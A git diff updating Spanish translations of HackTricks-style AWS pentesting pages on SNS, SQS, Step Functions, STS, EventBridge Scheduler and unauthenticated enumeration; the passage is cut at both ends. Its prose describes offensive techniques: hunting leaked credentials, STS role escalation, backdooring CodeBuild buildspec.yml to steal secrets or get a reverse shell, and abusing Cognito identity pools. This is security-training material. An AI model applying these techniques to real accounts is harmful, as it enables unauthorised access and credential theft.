```bash # Get info about the SES account aws sesv2 get-account diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index 2b1cacc52..88e27281a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,14 +4,14 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) se describe como un **servicio de mensajería completamente gestionado**. Soporta tanto **comunicaciones de aplicación a aplicación** (A2A) como **comunicaciones de aplicación a persona** (A2P). +Amazon Simple Notification Service (Amazon SNS) se describe como un **servicio de mensajería completamente gestionado**. Soporta tanto tipos de comunicación **de aplicación a aplicación** (A2A) como **de aplicación a persona** (A2P). Las características clave para la comunicación A2A incluyen **mecanismos de publicación/suscripción (pub/sub)**. Estos mecanismos introducen **temas**, cruciales para habilitar mensajería **basada en push, de alto rendimiento y de muchos a muchos**. Esta característica es altamente ventajosa en escenarios que involucran sistemas distribuidos, microservicios y arquitecturas sin servidor impulsadas por eventos. Al aprovechar estos temas, los sistemas publicadores pueden distribuir mensajes de manera eficiente a una **amplia gama de sistemas suscriptores**, facilitando un patrón de mensajería de fanout. ### **Diferencia con SQS** **SQS** es un servicio **basado en colas** que permite la comunicación punto a punto, asegurando que los mensajes sean procesados por un **único consumidor**. Ofrece **entrega al menos una vez**, soporta colas estándar y FIFO, y permite la retención de mensajes para reintentos y procesamiento retrasado.\ -Por otro lado, **SNS** es un servicio **basado en publicación/suscripción**, que permite la comunicación **de uno a muchos** al transmitir mensajes a **múltiples suscriptores** simultáneamente. Soporta **diversos puntos de suscripción como correo electrónico, SMS, funciones Lambda y HTTP/HTTPS**, y proporciona mecanismos de filtrado para la entrega de mensajes dirigida.\ +Por otro lado, **SNS** es un servicio **basado en publicación/suscripción**, que permite la comunicación **de uno a muchos** al transmitir mensajes a **múltiples suscriptores** simultáneamente. Soporta **varios puntos de suscripción como correo electrónico, SMS, funciones Lambda y HTTP/HTTPS**, y proporciona mecanismos de filtrado para la entrega de mensajes dirigida.\ Mientras que ambos servicios permiten desacoplar componentes en sistemas distribuidos, SQS se centra en la comunicación en cola, y SNS enfatiza patrones de comunicación impulsados por eventos y de fan-out. ### **Enumeración** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index f6e00f765..6cb4413cb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> Además, incluso si el `--queue-url` contiene la región, asegúrate de especificar la región correcta en **`--region`** o recibirás un error que indica que no tienes acceso, pero el problema es la región. +> Además, incluso si el `--queue-url` contiene la región, asegúrate de especificar la región correcta en **`--region`** o recibirás un error que parece indicar que no tienes acceso, pero el problema es la región. #### Acceso No Autenticado diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index abde484d8..a44d2af78 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -1,4 +1,4 @@ -# AWS - Step Functions Enum +# AWS - Enumeración de Step Functions {{#include ../../../banners/hacktricks-training.md}} @@ -6,41 +6,41 @@ AWS Step Functions es un servicio de flujo de trabajo que te permite coordinar y orquestar múltiples servicios de AWS en flujos de trabajo sin servidor. Al usar AWS Step Functions, puedes diseñar y ejecutar flujos de trabajo que conectan varios servicios de AWS como AWS Lambda, Amazon S3, Amazon DynamoDB y muchos más, en una secuencia de pasos. Este servicio de orquestación proporciona una interfaz visual de flujo de trabajo y ofrece capacidades de **máquina de estados**, permitiéndote definir cada paso del flujo de trabajo de manera declarativa utilizando **Amazon States Language** (ASL) basado en JSON. -## Key concepts +## Conceptos clave -### Standard vs. Express Workflows +### Flujos de trabajo estándar vs. expresos AWS Step Functions ofrece dos tipos de **flujos de trabajo de máquina de estados**: Estándar y Expreso. -- **Standard Workflow**: Este tipo de flujo de trabajo predeterminado está diseñado para procesos duraderos, auditables y de larga duración. Soporta **ejecución exactamente una vez**, asegurando que las tareas se ejecuten solo una vez a menos que se especifiquen reintentos. Es ideal para flujos de trabajo que necesitan un historial de ejecución detallado y puede ejecutarse durante hasta un año. -- **Express Workflow**: Este tipo es ideal para tareas de alto volumen y corta duración, que se ejecutan hasta cinco minutos. Soportan **ejecución al menos una vez**, adecuado para tareas idempotentes como el procesamiento de datos. Estos flujos de trabajo están optimizados para costo y rendimiento, cobrando según las ejecuciones, duración y uso de memoria. +- **Flujo de trabajo estándar**: Este tipo de flujo de trabajo predeterminado está diseñado para procesos duraderos, auditables y de larga duración. Soporta **ejecución exactamente una vez**, asegurando que las tareas se ejecuten solo una vez a menos que se especifiquen reintentos. Es ideal para flujos de trabajo que necesitan un historial de ejecución detallado y puede ejecutarse durante hasta un año. +- **Flujo de trabajo expreso**: Este tipo es ideal para tareas de alto volumen y corta duración, que se ejecutan hasta cinco minutos. Soportan **ejecución al menos una vez**, adecuado para tareas idempotentes como el procesamiento de datos. Estos flujos de trabajo están optimizados para costo y rendimiento, cobrando según las ejecuciones, la duración y el uso de memoria. -### States +### Estados Los estados son las unidades esenciales de las máquinas de estados. Definen los pasos individuales dentro de un flujo de trabajo, pudiendo realizar una variedad de funciones dependiendo de su tipo: -- **Task:** Ejecuta un trabajo, a menudo utilizando un servicio de AWS como Lambda. -- **Choice:** Toma decisiones basadas en la entrada. -- **Fail/Succeed:** Termina la ejecución con un fallo o éxito. -- **Pass:** Pasa la entrada a la salida o inyecta datos. -- **Wait:** Retrasa la ejecución por un tiempo establecido. -- **Parallel:** Inicia ramas paralelas. -- **Map:** Itera dinámicamente pasos sobre elementos. +- **Tarea:** Ejecuta un trabajo, a menudo utilizando un servicio de AWS como Lambda. +- **Elección:** Toma decisiones basadas en la entrada. +- **Fallar/Suceder:** Termina la ejecución con un fallo o éxito. +- **Pasar:** Pasa la entrada a la salida o inyecta datos. +- **Esperar:** Retrasa la ejecución por un tiempo establecido. +- **Paralelo:** Inicia ramas paralelas. +- **Mapa:** Itera dinámicamente pasos sobre elementos. -### Task +### Tarea -Un estado de **Task** representa una unidad de trabajo única ejecutada por una máquina de estados. Las tareas pueden invocar varios recursos, incluyendo actividades, funciones Lambda, servicios de AWS o APIs de terceros. +Un estado de **Tarea** representa una unidad de trabajo única ejecutada por una máquina de estados. Las tareas pueden invocar varios recursos, incluyendo actividades, funciones Lambda, servicios de AWS o APIs de terceros. -- **Activities**: Trabajadores personalizados que gestionas, adecuados para procesos de larga duración. -- Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Ejecuta funciones de AWS Lambda. -- Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Se integra directamente con otros servicios de AWS, como DynamoDB o S3. -- Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Llama a APIs de terceros. -- Resource field: **`arn:aws:states:::http:invoke`**. Luego, debes proporcionar los detalles de configuración del endpoint de la API, como la URL de la API, el método y los detalles de autenticación. +- **Actividades**: Trabajadores personalizados que gestionas, adecuados para procesos de larga duración. +- Recurso: **`arn:aws:states:region:account:activity:name`**. +- **Funciones Lambda**: Ejecuta funciones de AWS Lambda. +- Recurso: **`arn:aws:lambda:region:account:function:function-name`**. +- **Servicios de AWS**: Se integra directamente con otros servicios de AWS, como DynamoDB o S3. +- Recurso: **`arn:partition:states:region:account:servicename:APIname`**. +- **Tarea HTTP**: Llama a APIs de terceros. +- Campo de recurso: **`arn:aws:states:::http:invoke`**. Luego, debes proporcionar los detalles de configuración del endpoint de la API, como la URL de la API, el método y los detalles de autenticación. -El siguiente ejemplo muestra una definición de estado de Task que invoca una función Lambda llamada HelloWorld: +El siguiente ejemplo muestra una definición de estado de Tarea que invoca una función Lambda llamada HelloWorld: ```json "HelloWorld": { "Type": "Task", @@ -52,14 +52,14 @@ El siguiente ejemplo muestra una definición de estado de Task que invoca una fu "End": true } ``` -### Choice +### Elección -Un **Choice** state añade lógica condicional a un flujo de trabajo, permitiendo decisiones basadas en datos de entrada. Evalúa las condiciones especificadas y transiciona al estado correspondiente según los resultados. +Un estado de **Choice** agrega lógica condicional a un flujo de trabajo, permitiendo decisiones basadas en datos de entrada. Evalúa las condiciones especificadas y transita al estado correspondiente según los resultados. -- **Comparison**: Cada regla de elección incluye un operador de comparación (por ejemplo, **`NumericEquals`**, **`StringEquals`**) que compara una variable de entrada con un valor especificado u otra variable. -- **Next Field**: Los estados de elección no soportan el campo **`End`**, en su lugar, definen el estado **`Next`** al que transicionar si la comparación es verdadera. +- **Comparación**: Cada regla de elección incluye un operador de comparación (por ejemplo, **`NumericEquals`**, **`StringEquals`**) que compara una variable de entrada con un valor especificado u otra variable. +- **Campo Siguiente**: Los estados de elección no admiten el campo **`End`**, en su lugar, definen el estado **`Next`** al que transitar si la comparación es verdadera. -Ejemplo de **Choice** state: +Ejemplo de estado de **Choice**: ```json { "Variable": "$.timeStamp", @@ -67,7 +67,7 @@ Ejemplo de **Choice** state: "Next": "TimeState" } ``` -### Fail/Succeed +### Fallar/Suceder Un **`Fail`** estado detiene la ejecución de una máquina de estados y la marca como un fallo. Se utiliza para especificar un nombre de error y una causa, proporcionando detalles sobre el fallo. Este estado es terminal, lo que significa que finaliza el flujo de ejecución. @@ -95,7 +95,7 @@ Un **`Succeed`** estado detiene la ejecución con éxito. Se utiliza típicament ### Pass -Un **Pass** state pasa su entrada a su salida ya sea sin realizar ningún trabajo o transformando la entrada del estado JSON utilizando filtros, y luego pasando los datos transformados al siguiente estado. Es útil para probar y construir máquinas de estado, permitiéndote inyectar datos estáticos o transformarlos. +Un estado **Pass** pasa su entrada a su salida, ya sea sin realizar ningún trabajo o transformando la entrada del estado JSON utilizando filtros, y luego pasando los datos transformados al siguiente estado. Es útil para probar y construir máquinas de estado, permitiéndote inyectar datos estáticos o transformarlos. ```json "PassState": { "Type": "Pass", @@ -104,11 +104,11 @@ Un **Pass** state pasa su entrada a su salida ya sea sin realizar ningún trabaj "Next": "NextState" } ``` -### Wait +### Esperar -Un **Wait** state retrasa la ejecución de la máquina de estados por una duración especificada. Hay tres métodos principales para configurar el tiempo de espera: +Un estado de **Esperar** retrasa la ejecución de la máquina de estados por una duración especificada. Hay tres métodos principales para configurar el tiempo de espera: -- **X Seconds**: Un número fijo de segundos para esperar. +- **X Segundos**: Un número fijo de segundos para esperar. ```json "WaitState": { @@ -118,7 +118,7 @@ Un **Wait** state retrasa la ejecución de la máquina de estados por una duraci } ``` -- **Absolute Timestamp**: Un tiempo exacto hasta el cual esperar. +- **Marca de Tiempo Absoluta**: Un tiempo exacto hasta el cual esperar. ```json "WaitState": { @@ -128,7 +128,7 @@ Un **Wait** state retrasa la ejecución de la máquina de estados por una duraci } ``` -- **Dynamic Wait**: Basado en la entrada usando **`SecondsPath`** o **`TimestampPath`**. +- **Espera Dinámica**: Basada en la entrada utilizando **`SecondsPath`** o **`TimestampPath`**. ```json jsonCopiar código @@ -139,13 +139,13 @@ jsonCopiar código } ``` -### Parallel +### Paralelo -Un **Parallel** state te permite ejecutar múltiples ramas de tareas de manera concurrente dentro de tu flujo de trabajo. Cada rama se ejecuta de forma independiente y procesa su propia secuencia de estados. La ejecución espera hasta que todas las ramas se completen antes de proceder al siguiente estado. Sus campos clave son: +Un estado de **Paralelo** te permite ejecutar múltiples ramas de tareas de manera concurrente dentro de tu flujo de trabajo. Cada rama se ejecuta de forma independiente y procesa su propia secuencia de estados. La ejecución espera hasta que todas las ramas se completen antes de proceder al siguiente estado. Sus campos clave son: -- **Branches**: Un array que define las rutas de ejecución paralela. Cada rama es una máquina de estados separada. +- **Ramas**: Un arreglo que define las rutas de ejecución paralela. Cada rama es una máquina de estados separada. - **ResultPath**: Define dónde (en la entrada) colocar la salida combinada de las ramas. -- **Retry and Catch**: Configuraciones de manejo de errores para el estado paralelo. +- **Retry y Catch**: Configuraciones de manejo de errores para el estado paralelo. ```json "ParallelState": { "Type": "Parallel", @@ -195,7 +195,7 @@ Un **Mapa** permite la ejecución de un conjunto de pasos para cada elemento en } ``` -- **Modo distribuido**: Diseñado para el procesamiento paralelo a gran escala con alta concurrencia. Soporta el procesamiento de grandes conjuntos de datos, como los almacenados en Amazon S3, permitiendo una alta concurrencia de hasta 10,000 ejecuciones de flujos de trabajo hijos paralelos, ejecutando estos hijos como una ejecución hija separada. +- **Modo distribuido**: Diseñado para el procesamiento paralelo a gran escala con alta concurrencia. Soporta el procesamiento de grandes conjuntos de datos, como los almacenados en Amazon S3, permitiendo una alta concurrencia de hasta 10,000 ejecuciones de flujo de trabajo hijo paralelas, ejecutando estos hijos como una ejecución hija separada. ```json "DistributedMapState": { @@ -236,8 +236,8 @@ Un **Mapa** permite la ejecución de un conjunto de pasos para cada elemento en Step Functions también te permite gestionar implementaciones de flujos de trabajo a través de **versiones** y **alias** de máquinas de estado. Una versión representa una instantánea de una máquina de estado que puede ser ejecutada. Los alias sirven como punteros a hasta dos versiones de una máquina de estado. -- **Versiones**: Estas instantáneas inmutables de una máquina de estado se crean a partir de la revisión más reciente de esa máquina de estado. Cada versión se identifica por un ARN único que combina el ARN de la máquina de estado con el número de versión, separado por dos puntos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Las versiones no pueden ser editadas, pero puedes actualizar la máquina de estado y publicar una nueva versión, o usar la versión de máquina de estado deseada. -- **Alias**: Estos punteros pueden hacer referencia a hasta dos versiones de la misma máquina de estado. Se pueden crear múltiples alias para una sola máquina de estado, cada uno identificado por un ARN único construido combinando el ARN de la máquina de estado con el nombre del alias, separado por dos puntos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Los alias permiten el enrutamiento de tráfico entre una de las dos versiones de una máquina de estado. Alternativamente, un alias puede apuntar a una versión específica de la máquina de estado, pero no a otros alias. Pueden ser actualizados para redirigir a una versión diferente de la máquina de estado según sea necesario, facilitando implementaciones controladas y gestión de flujos de trabajo. +- **Versiones**: Estas instantáneas inmutables de una máquina de estado se crean a partir de la revisión más reciente de esa máquina de estado. Cada versión se identifica por un ARN único que combina el ARN de la máquina de estado con el número de versión, separado por dos puntos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Las versiones no pueden ser editadas, pero puedes actualizar la máquina de estado y publicar una nueva versión, o usar la versión deseada de la máquina de estado. +- **Alias**: Estos punteros pueden referirse a hasta dos versiones de la misma máquina de estado. Se pueden crear múltiples alias para una sola máquina de estado, cada uno identificado por un ARN único construido combinando el ARN de la máquina de estado con el nombre del alias, separado por dos puntos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Los alias permiten el enrutamiento de tráfico entre una de las dos versiones de una máquina de estado. Alternativamente, un alias puede apuntar a una versión específica de la máquina de estado, pero no a otros alias. Pueden ser actualizados para redirigir a una versión diferente de la máquina de estado según sea necesario, facilitando implementaciones controladas y gestión de flujos de trabajo. Para más información detallada sobre **ASL**, consulta: [**Amazon States Language**](https://states-language.net/spec.html). @@ -246,7 +246,7 @@ Para más información detallada sobre **ASL**, consulta: [**Amazon States Langu AWS Step Functions utiliza roles de AWS Identity and Access Management (IAM) para controlar el acceso a recursos y acciones dentro de las máquinas de estado. Aquí están los aspectos clave relacionados con la seguridad y los roles de IAM en AWS Step Functions: - **Rol de ejecución**: Cada máquina de estado en AWS Step Functions está asociada con un rol de ejecución de IAM. Este rol define qué acciones puede realizar la máquina de estado en tu nombre. Cuando una máquina de estado transita entre estados que interactúan con servicios de AWS (como invocar funciones Lambda, acceder a DynamoDB, etc.), asume este rol de ejecución para llevar a cabo esas acciones. -- **Permisos**: El rol de ejecución de IAM debe ser configurado con permisos que permitan las acciones necesarias en otros servicios de AWS. Por ejemplo, si tu máquina de estado necesita invocar funciones de AWS Lambda, el rol de IAM debe tener permisos de **`lambda:InvokeFunction`**. De manera similar, si necesita escribir en DynamoDB, se deben otorgar los permisos apropiados (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.). +- **Permisos**: El rol de ejecución de IAM debe estar configurado con permisos que permitan las acciones necesarias en otros servicios de AWS. Por ejemplo, si tu máquina de estado necesita invocar funciones de AWS Lambda, el rol de IAM debe tener permisos de **`lambda:InvokeFunction`**. De manera similar, si necesita escribir en DynamoDB, se deben otorgar los permisos apropiados (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.). ## Enumeración diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 929ead338..cd3ddaef8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,7 +4,7 @@ ## STS -**AWS Security Token Service (STS)** está diseñado principalmente para emitir **credenciales temporales y de privilegio limitado**. Estas credenciales pueden ser solicitadas para **AWS Identity and Access Management (IAM)** usuarios o para usuarios autenticados (usuarios federados). +**AWS Security Token Service (STS)** está diseñado principalmente para emitir **credenciales temporales y de privilegio limitado**. Estas credenciales pueden ser solicitadas para usuarios de **AWS Identity and Access Management (IAM)** o para usuarios autenticados (usuarios federados). Dado que el propósito de STS es **emitir credenciales para la suplantación de identidad**, el servicio es inmensamente valioso para **escalar privilegios y mantener persistencia**, aunque puede que no tenga una amplia gama de opciones. @@ -12,7 +12,7 @@ Dado que el propósito de STS es **emitir credenciales para la suplantación de La acción [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) proporcionada por AWS STS es crucial ya que permite a un principal adquirir credenciales para otro principal, esencialmente suplantándolo. Al invocarse, responde con un ID de clave de acceso, una clave secreta y un token de sesión correspondiente al ARN especificado. -Para los testers de penetración o miembros del equipo rojo, esta técnica es instrumental para la escalada de privilegios (como se detalla [**aquí**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Sin embargo, vale la pena señalar que esta técnica es bastante conspicua y puede no sorprender a un atacante. +Para los testers de penetración o miembros del Red Team, esta técnica es instrumental para la escalada de privilegios (como se detalla [**aquí**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Sin embargo, vale la pena señalar que esta técnica es bastante conspicua y puede no sorprender a un atacante. #### Lógica de Suplantación de Rol diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index d22101641..5a35cd959 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -1,18 +1,18 @@ -# AWS - EventBridge Scheduler Enum +# AWS - Enumeración del Programador de EventBridge -## EventBridge Scheduler +## Programador de EventBridge {{#include ../../../banners/hacktricks-training.md}} -## EventBridge Scheduler +## Programador de EventBridge -**Amazon EventBridge Scheduler** es un programador completamente gestionado y **sin servidor diseñado para crear, ejecutar y gestionar tareas** a gran escala. Te permite programar millones de tareas a través de más de 270 servicios de AWS y más de 6,000 operaciones de API, todo desde un servicio central. Con fiabilidad incorporada y sin infraestructura que gestionar, EventBridge Scheduler simplifica la programación, reduce los costos de mantenimiento y se escala automáticamente para satisfacer la demanda. Puedes configurar expresiones cron o de tasa para horarios recurrentes, establecer invocaciones únicas y definir ventanas de entrega flexibles con opciones de reintento, asegurando que las tareas se entreguen de manera confiable según la disponibilidad de los objetivos posteriores. +**Amazon EventBridge Scheduler** es un programador **sin servidor totalmente gestionado diseñado para crear, ejecutar y gestionar tareas** a gran escala. Te permite programar millones de tareas en más de 270 servicios de AWS y más de 6,000 operaciones de API, todo desde un servicio central. Con fiabilidad incorporada y sin infraestructura que gestionar, EventBridge Scheduler simplifica la programación, reduce los costos de mantenimiento y se escala automáticamente para satisfacer la demanda. Puedes configurar expresiones cron o de tasa para horarios recurrentes, establecer invocaciones únicas y definir ventanas de entrega flexibles con opciones de reintento, asegurando que las tareas se entreguen de manera confiable según la disponibilidad de los objetivos posteriores. Hay un límite inicial de 1,000,000 de horarios por región por cuenta. Incluso la página oficial de cuotas sugiere: "Se recomienda eliminar los horarios únicos una vez que se hayan completado." ### Tipos de Horarios -Tipos de Horarios en EventBridge Scheduler: +Tipos de Horarios en el Programador de EventBridge: 1. **Horarios únicos** – Ejecuta una tarea en un momento específico, por ejemplo, el 21 de diciembre a las 7 AM UTC. 2. **Horarios basados en tasa** – Establece tareas recurrentes basadas en una frecuencia, por ejemplo, cada 2 horas. @@ -25,9 +25,9 @@ Dos Mecanismos para Manejar Eventos Fallidos: ### Objetivos -Hay 2 tipos de objetivos para un programador [**templatados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que son comúnmente utilizados y AWS los hizo más fáciles de configurar, y [**universales (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que se pueden usar para llamar a cualquier API de AWS. +Hay 2 tipos de objetivos para un programador [**plantillados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que son comúnmente utilizados y AWS los hizo más fáciles de configurar, y [**universales (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que se pueden usar para llamar a cualquier API de AWS. -**Objetivos templados** admiten los siguientes servicios: +**Objetivos plantillados** admiten los siguientes servicios: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index e57373f31..d64831cfd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## Fugas de Credenciales de AWS -Una forma común de obtener acceso o información sobre una cuenta de AWS es **buscando fugas**. Puedes buscar fugas utilizando **google dorks**, revisando los **repos públicos** de la **organización** y los **trabajadores** de la organización en **Github** u otras plataformas, buscando en **bases de datos de fugas de credenciales**... o en cualquier otra parte que creas que podrías encontrar información sobre la empresa y su infraestructura en la nube.\ +Una forma común de obtener acceso o información sobre una cuenta de AWS es **buscando fugas**. Puedes buscar fugas utilizando **google dorks**, revisando los **repositorios públicos** de la **organización** y los **trabajadores** de la organización en **Github** u otras plataformas, buscando en **bases de datos de fugas de credenciales**... o en cualquier otra parte que creas que podrías encontrar información sobre la empresa y su infraestructura en la nube.\ Algunas **herramientas** útiles: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -24,15 +24,15 @@ Hay varios servicios en AWS que podrían estar configurados dando algún tipo de - [**Enumeración No Autenticada de EC2**](aws-ec2-unauthenticated-enum.md) - [**Enumeración No Autenticada de Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) - [**Enumeración No Autenticada de IAM**](aws-iam-and-sts-unauthenticated-enum.md) -- [**Acceso No Autenticado de IoT**](aws-iot-unauthenticated-enum.md) -- [**Acceso No Autenticado de Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) -- [**Acceso No Autenticado de Media**](aws-media-unauthenticated-enum.md) -- [**Acceso No Autenticado de MQ**](aws-mq-unauthenticated-enum.md) -- [**Acceso No Autenticado de MSK**](aws-msk-unauthenticated-enum.md) -- [**Acceso No Autenticado de RDS**](aws-rds-unauthenticated-enum.md) -- [**Acceso No Autenticado de Redshift**](aws-redshift-unauthenticated-enum.md) -- [**Acceso No Autenticado de SQS**](aws-sqs-unauthenticated-enum.md) -- [**Acceso No Autenticado de S3**](aws-s3-unauthenticated-enum.md) +- [**Acceso No Autenticado a IoT**](aws-iot-unauthenticated-enum.md) +- [**Acceso No Autenticado a Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) +- [**Acceso No Autenticado a Media**](aws-media-unauthenticated-enum.md) +- [**Acceso No Autenticado a MQ**](aws-mq-unauthenticated-enum.md) +- [**Acceso No Autenticado a MSK**](aws-msk-unauthenticated-enum.md) +- [**Acceso No Autenticado a RDS**](aws-rds-unauthenticated-enum.md) +- [**Acceso No Autenticado a Redshift**](aws-redshift-unauthenticated-enum.md) +- [**Acceso No Autenticado a SQS**](aws-sqs-unauthenticated-enum.md) +- [**Acceso No Autenticado a S3**](aws-s3-unauthenticated-enum.md) ## Ataques entre Cuentas diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index ffd5c3244..2c735a7c5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Enumeración No Autenticada de Cuentas {{#include ../../../banners/hacktricks-training.md}} @@ -20,7 +20,7 @@ Puedes [automatizar este proceso con esta herramienta](https://github.com/dagrz/ ### OSINT -Busca URLs que contengan `.signin.aws.amazon.com` con un **alias relacionado con la organización**. +Busca urls que contengan `.signin.aws.amazon.com` con un **alias relacionado con la organización**. ### Marketplace diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 892c651f2..ec44b8640 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### Bypass de invocación de API -Según la charla [Vectores de ataque para APIs utilizando AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), los Lambda Authorizers se pueden configurar **usando la sintaxis de IAM** para otorgar permisos para invocar puntos finales de API. Esto se toma [**de la documentación**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +Según la charla [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), los Lambda Authorizers pueden ser configurados **usando la sintaxis de IAM** para otorgar permisos para invocar puntos finales de API. Esto se toma [**de la documentación**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 43d13d227..e04724d7e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -14,7 +14,7 @@ Para más información, consulta esta página: Si comprometes el acceso de escritura sobre un repositorio que contiene un archivo llamado **`buildspec.yml`**, podrías **insertar un backdoor** en este archivo, que especifica los **comandos que se van a ejecutar** dentro de un proyecto de CodeBuild y exfiltrar los secretos, comprometer lo que se hace y también comprometer las **credenciales del rol IAM de CodeBuild**. -Ten en cuenta que incluso si no hay ningún archivo **`buildspec.yml`** pero sabes que se está utilizando Codebuild (o un CI/CD diferente), **modificar algún código legítimo** que se va a ejecutar también puede conseguirte un shell reverso, por ejemplo. +Ten en cuenta que incluso si no hay ningún archivo **`buildspec.yml`** pero sabes que se está utilizando Codebuild (o un CI/CD diferente), **modificar algún código legítimo** que se va a ejecutar también puede conseguirte un shell inverso, por ejemplo. Para más información relacionada, podrías consultar la página sobre cómo atacar Github Actions (similar a esto): diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index ce573c3a2..7220f4830 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -17,17 +17,17 @@ Para información básica sobre Cognito consulta: Los Pools de Identidad pueden otorgar **roles de IAM a usuarios no autenticados** que solo **conocen el ID del Pool de Identidad** (lo cual es bastante común **encontrar**), y un atacante con esta información podría intentar **acceder a ese rol de IAM** y explotarlo.\ Además, los roles de IAM también podrían ser asignados a **usuarios autenticados** que acceden al Pool de Identidad. Si un atacante puede **registrar un usuario** o ya tiene **acceso al proveedor de identidad** utilizado en el pool de identidad, podría acceder al **rol de IAM otorgado a los usuarios autenticados** y abusar de sus privilegios. -[**Consulta cómo hacer eso aquí**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Consulta cómo hacerlo aquí**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### ID de Pool de Usuarios -Por defecto, Cognito permite **registrar nuevos usuarios**. Poder registrar un usuario podría darte **acceso** a la **aplicación subyacente** o al **rol de acceso IAM autenticado de un Pool de Identidad** que acepta como proveedor de identidad el Pool de Usuarios de Cognito. [**Consulta cómo 